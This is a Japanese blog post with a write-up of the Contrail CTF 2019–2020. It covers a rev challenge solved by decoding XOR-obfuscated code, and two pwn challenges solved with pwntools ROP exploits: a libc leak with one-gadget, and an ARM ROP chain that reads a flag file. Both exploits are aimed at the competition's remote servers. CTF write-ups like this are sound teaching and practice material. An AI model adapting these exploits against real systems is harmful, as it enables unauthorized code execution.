【謹賀新年】Contrail CTF writeup
年始の挨拶
あけましておめでとうございます。読者の皆様の本年度が良い年になることを心からお祈りいたします。
ところで、正月なので(は?)CTFに出ました。今回の記事は年末の妄想を書き散らしたクソ記事とは異なりCTFのWriteupになります。新年最初をこのような真面目な記事に出来て嬉しいです。
Contrail CTF
CTFチームContrail様が主催するContrail CTFは2019/12/31 00:00から2020/1/4 00:00まで開催されました。私はチーム./Vespiaryで出場しrevを1問とpwnを2問(とDiscordにフラグが書いてある問題を)解いて9位/78チーム(1pt以上入れたチーム)でした。年末年始のクソ忙しい中でも途中で問題が生えていたりインフラの整備に奔走したりしていて運営の皆様の熱意が伝わってくるCTFでした。問題の難易度と質も良く楽しく取り組めたCTFでした。
解いた問題
Discord (Misc: 1pt)
自明フラグ問題、Discordに入るとフラグが書いてある、おわり
ctrctf{W3lc0m3_c0ntra1l_ctf_d1sc0rd}
DownloaderLog (Rev: 100pt)
pcapファイルが与えられhttp通信中のファイルを抽出するとバイナリとその引数に指定されたと思われるファイルが手に入る。このバイナリは最初の分岐(引数に指定したファイルの中身と現在時刻の差が6000s以内)を突破すると.dataセクションへ飛んで自己書き換えコード(指定された部分が0x19とXORされている)を実行し命令群として正常な形にしてから書き換えられた部分が実行される。本当は復元したバイナリを解析して解く予定だったのだが、stringsをかけたところ断片的にフラグが見えたのでそれを繋ぎ合わせたらフラグが入手できた。使用したコード(バイナリの書き換えと逆アセンブル)とstringsの結果は次の通り。
from elftools.elf.elffile import ELFFile from capstone import Cs, CS_ARCH_X86, CS_MODE_64 if __name__ == "__main__": elf = ELFFile(open("exec_save", "rb")) data_bytes = elf.get_section_by_name(".data").data() base_addr = 0x601050 start_addr = 0x6010d5 end_addr = 0x60125a new_asm = b"" for i, b in enumerate(data_bytes): addr = base_addr + i if start_addr <= addr < end_addr: new_asm += (b ^ 0x19).to_bytes(1, "big") else: new_asm += b.to_bytes(1, "big") print(new_asm) md = Cs(CS_ARCH_X86, CS_MODE_64) for mnemonic in md.disasm(new_asm, base_addr): print("{}: {} {}".format(hex(mnemonic.address), mnemonic.mnemonic, mnemonic.op_str)) f = open("exec_edited", "rb") raw_data = f.read() f.close() f = open("exec_edited", "wb") start_offset = 4192 j = 0 write_b = 0x00 for i, b in enumerate(raw_data): write_b = b if 4192 <= i < 4192 + end_addr - start_addr: write_b = new_asm[j] j += 1 f.write(write_b.to_bytes(1, "little")) f.close()
$ strings exec_edited (略) 4na1yst Nice :) Flag is here 3inary_H Zare_H 2{u_H ctrctfH pwoxup}9mpt|Fr|`9#d (略)
これを見てフラグがctrctf{u_are_31nary_4na1yst}
かなと思ったら当たってた(末尾に変な文字が入って無くて助かった…)。
Welcomechain (Pwn: 100pt)
pwnのWelcome問題その1(その2はEasyShellcodeだが別のpwn担当が解いた)。ROP"するだけ"という問題で例によってputs(func@GOT)
を利用してlibcのアドレスをリークした後にret2mainしてOne Gadgetを刺す。
フラグはctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}
exploitコードは次の通り
from pwn import * if __name__ == "__main__": elf = ELF("welcomechain") libc = ELF("libc.so.6") context.binary = elf stack_size = 0x20 junk = ("a" * (stack_size + 0x08)).encode() # addr puts_plt = 0x4005a0 sleep_got = 0x601040 ret_main = 0x400740 # rop gadget gadget_1 = 0x400853 # pop rdi; ret # libc sleep_libc = libc.symbols["sleep"] print("[+] sleep@libc: {}".format(hex(sleep_libc))) one_gadget_libc = 0x4f2c5 payload = junk + p64(gadget_1) + p64(sleep_got) + p64(puts_plt) + p64(ret_main) # s = process("./welcomechain") s = remote("114.177.250.4", 2226) while True: r = s.recv(4096) print(r) if b"Please Input : " in r: break s.sendline(payload) while True: r = s.recv(4096) print(r) if len(r) <= 8 and r != b"\n": raw_sleep_addr = r.split(b"\n")[0] while len(raw_sleep_addr) < 8: raw_sleep_addr += b"\x00" sleep_addr = u64(raw_sleep_addr) print("[+]: Sleep: {}".format(hex(sleep_addr))) if b"Please Input : " in r: break gadget_addr = sleep_addr - sleep_libc + one_gadget_libc print("[+] one gadget: {}".format(hex(gadget_addr))) payload = junk + p64(gadget_addr) s.sendline(payload) while True: r = s.recv(4096) print(r) if b"Your input" in r: break s.interactive()
RaspiWorld (Pwn: 304pt)
ARMアーキテクチャのバイナリに対してROPをする問題。愛用しているROPgadget探索ツールであるrp++はARMに対応していないのでpwntoolsをインストールすると生えてくるROPgadget
コマンドを使用した。今回gadgetを使う上で悪用したARMの仕様は次の通り。
悪用したARMの仕様
- 第1〜第4引数は
r0~r3
レジスタを用いる、それ以上はスタックからpopする。 - ripに相当するものは
pc
レジスタ - 関数のreturnは実装に拠るがpcレジスタへ代入するか
lr
レジスタがリターンアドレス扱いになっているのでbx lr
命令で飛ぶ - というわけでretの代わりになりそうなROP Gadgetは
pop{..., pc}
と...; bx lr
である。ただし前者が単にスタックをいじるだけで済むのに対して後者は一度pop{..., lr}
等でlr
レジスタを調整する必要がある - アドレスを指定してデータを格納する命令は
str register1, [regsiter2]
を利用する。これはregister1
の値をregister2
中のアドレスに格納する
これらの仕様によれば例えばopen("flag", 0)
を実行するためには次のようなスタックの構成にする(事前にflagの文字列はバイナリ中に存在するものとする)。
open()のアドレス open()から帰ってきた後に実行したいアドレス gadget3 (pop {lr, pc}) のアドレス 0x0 gadget2 (pop {r1, pc}) のアドレス "flag"文字列のあるアドレス gadget1 (pop {r0, pc}) のアドレス
やっていることはpop {レジスタ, pc}
といった命令を利用して引数をセットし、その都度pc
もセットすることで次のgadgetへと繋げている。また、実装に拠るがopen()のような関数はbx lr
を実行することでサブルーチンを抜けているのでlr
にリターンアドレスを設定してから実行する必要がある。
これ以外に利用したgadgetはデータ格納命令str
でバイナリ中にflag
という文字を書き込むのに利用した。
実際に用いた手順は次の通り。
バイナリ中からexecve
もsystem
も見当たらなかったのでこれまでのpwn同様、ファイル名がflag
のファイルを開くと推測、そこでROPによってopen("flag", 0) -> read(fd, buf, 0x100(適当なサイズ)) -> puts(buf)
を実行することを考える。
strings 0.elf | grep flag
を実行して調べると、バイナリ中にflag+終端文字
で終わる部分は無さそうだったので自分で書き込み可能領域に書き込むことを考える。ARMではstr register1, [register2]
という命令でregister1
の値をregister2
の値をアドレスとして解釈して格納できるためこれを利用する(なお、32bitなのでflag\0
の5文字を書き込むためには2度str命令を経る必要があるが、実際では忘れておりたまたま.dataセクションが0クリアされていたので助かった)。
後は上で述べたような方法でROPチェーンを構成し望みどおりの操作を実行すると無事にflag
ファイルの中身を見ることができる。
フラグはctrctf{mu1tip13_plaf0rm3r}
使用したexploitコード(多分参加者の汚さランキングで1位)
from pwn import * if __name__ == "__main__": elf = ELF("0.elf") context.binary = elf # s = process("./0.elf") s = remote("114.177.250.4", 7777) r = s.recv(4096) print(r) junk = b"aaaa" * 17 # addr main = 0x104cc puts = 0x17148 open_addr = 0x27480 read_addr = 0x27510 test_text = 0x6facc # libc-start.c data = 0x95080 # rop gadget gadget_1 = 0x25e1c # pop {r0, r4, pc} gadget_2 = 0x6d108 # pop {r1, pc} gadget_3 = 0x10160 # pop {r3, pc} gadget_4 = 0x2842c # str r0, [r2] ; pop {r4, pc} gadget_5 = 0x5b980 # str r2, [r3] ; pop {r4, pc} gadget_6 = 0x1df84 # str r3, [r4] ; pop {r4, pc} gadget_7 = 0x22e80 # pop {lr} ; bx r3 gadget_8 = 0x6d078 # pop {r2, r3} ; bx lr write_flag = p32(gadget_1) + p32(data) + p32(data) + p32(gadget_3) + b"flag" + p32(gadget_6) + p32(data) payload = junk + write_flag + p32(gadget_1) + p32(data) + p32(data) + p32(gadget_2) + p32(0x0) + p32(gadget_3) + p32(open_addr) + p32(gadget_7) + p32(gadget_2) + p32(data + 5) + p32(gadget_8) + p32(0x100) + p32(0x100) + p32(data + 5) + p32(read_addr) + p32(0x114514) + p32(gadget_1) + p32(data + 5) + p32(data + 5) + p32(puts) s.sendline(payload) while True: r = s.recv(4096) print(r) if b"Welcome" in r: break
終わった後に色々な人のwriteup見たんですけどswi
命令というのを使うと割り込んでシステムコールが吐けるらしい、帰省先から戻ったら検証します。
反省
まず問題自体の反省以前にCTF期間中に酒を飲むのをやめるべきでした。今回主催の中でも特に力を入れていたContrailの道路さんとは日頃仲良くさせていただいているので参加意思を強く表明していたのですが実際は実家に帰って酒と飯と惰眠を貪るだけの生活を送っており当初想定していた程は参加できませんでした。今年はCTF期間中は(できるだけ)酒を飲まないことを目標にしようと思います(こう見ると"低レベル"な目標ですね、Rev, pwnだけに)。
あとこれは今年のCTFへ挑む事自体の抱負ですが、"CTF期間中は(できるだけ)禁酒"
— Xornet (@Xornet_Euphoria) 2020年1月3日
あと最近、自分の粘り強く取り組む力が薄れていると感じています。CTF初陣となったangstrom CTF 2019は(暇なのもあって)問題に粘り強く取り組んでいたのですが最近はわからないと直ぐに問題を投げて別のことを始めたりしています。低レイヤー系の問題(特にRev)は根性でバイナリを読むことが正攻法にも関わらず、その複雑さを見て投げてしまうのは取れたかもしれない点数を逃してしまうという点で大問題ですし、何より自分の力になりません。メンバーが増えたり彼らが強くなったりして気が抜けているのもあり、この傾向が強くなってきたので禁酒すると共にまずはそこを直したいです。
問題への反省ですがまずForensicsに手も足も出なかったことが悔やまれます。最近出たCTFではDFIR系の問題が少なくVolatility等を使う機会に恵まれませんでした。そんな中今回のCTFでは本格的なDFIR系の問題が出題されており作問者様のWriteupを読んでも何がなんだかという感じでした。Alice's PasswordもSolved数だけ見れば行けそうな問題だったのに何も思いつかなかったのは私の知識, 技術, 経験の全てが不足していた結果です。
続いて唯一のCrypto問題であり、RaspiWorld以上の時間をかけて解けなかったdocument_rescueですが、こちらは思いついたのに想定解では無いと思ってスルーしたポイントが2点ありました。pdfのファイル形式絡みということでフッタ(%%EOF)にも注目する問題だったのですが、私は馬鹿なので一瞬思いついたものの"末尾だしヘッダまで遡って影響与えないだろ"とか思ってスルーしてしまいました。フッタ部分で追加の合同方程式が加わることはわかったのですがあろうことか既知の数字(暗号ブロックの一部)を未知数だと考えてしまい、制約も未知数も増えるから使えないとかいう意味不明な思考に至っていました。
その後鍵の総当りを試みたのですが数が多くて断念しました。これは実は先程のフッタを考慮した制約を入れると非常に少なくなり直ぐに解ける(らしい、帰省先から戻ったら検証します)のですがこれを入れなかったせいで"こんな膨大な数の総当りは無いだろう、きっと綺麗な解法(想定解が十分綺麗な解法です)があるのだろう"と考え一生存在しない解法を探してました。
結び
年始からCTFに参加できたので今年もこんな感じで色々なCTFに出ていけたらと思っています。特にRaspiWorldをなんとか解けたのは非常に良いスタートを切れたと思っているのでこの調子でpwnの勉強もいい感じに進めていきたいです。
改めましてこのような楽しいCTFを開催してくださったContrailの皆様ありがとうございました。
最後に、年末年始にも関わらず参加して多数のフラグを入れてくれた./Vespiaryのみんなもありがとうございました、今年も全力で寄生するのでよろしく。